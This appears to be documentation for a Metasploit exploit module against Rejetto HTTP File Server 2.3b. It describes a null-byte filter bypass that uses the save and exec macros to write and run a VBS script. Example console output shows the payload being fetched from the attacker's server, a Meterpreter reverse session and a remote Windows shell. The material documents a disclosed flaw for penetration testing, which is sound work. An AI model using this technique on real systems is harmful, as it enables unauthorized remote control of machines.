Http File Server Remote Command Exec

Add "http_file_server_exec" remote exploitation module

Remote command execution bypass macro filters, using "%00" to bypass filters, 'save' and 'exec' macro command to create vbs file dan execute the vbs script on the target system. please note that when using "exec", it will execute 4 x times.

* Homepage: http://www.rejetto.com
* Software Download: http://www.rejetto.com/hfs/download (they already release a patch)
* Alternate Download: http://www.exploit-db.com/wp-content/themes/exploit/applications/abb497bd93aff9fa3379b2aaf73fc9c7-hfs2.3_288.zip
* Tested On: HFS v2.3b
 * Windows XP (Build 2600, Service Pack 3).
 * Windows 7 (Build 7601, Service Pack 1).
 * Windows 8 (Build 9200).
* Usage:
 * Download the vulnerable software from link above
 * Execute the vulnerable software
 * Run module, make sure "SAVE_PATH" end with \\ e.g C:\\test\\
<IMAGE HERE>
![meterpreter_success](https://cloud.githubusercontent.com/assets/4267222/4345209/59457a1c-40bd-11e4-8143-c653f6f26659.PNG)

# Notes
Tested on target host without antivirus installed.
# Example Output
msf exploit(http_file_server_exec) > exploit
[\*] Exploit running as background job.
msf exploit(http_file_server_exec) >
[\*] Started reverse handler on 192.168.175.142:4444
[\*] Using URL: http://0.0.0.0:8080/791wKD
[\*]  Local IP: http://192.168.175.142:8080/791wKD
[\*] Server started.
[\*] Sending a malicious request to /
[\*] 192.168.175.134  http_file_server_exec - 192.168.175.134:80 - Payload request received: /791wKD
[\*] Sending stage (769536 bytes) to 192.168.175.134
[\*] Meterpreter session 5 opened (192.168.175.142:4444 -> 192.168.175.134:1335) at 2014-09-20 18:05:48 +0800
[+] Deleted c:\test\VtdVFRGk.vbs
[\*] Server stopped.

msf exploit(http_file_server_exec) > sessions -i 5
[\*] Starting interaction with 5...

meterpreter > shell
Process 2072 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest\Desktop>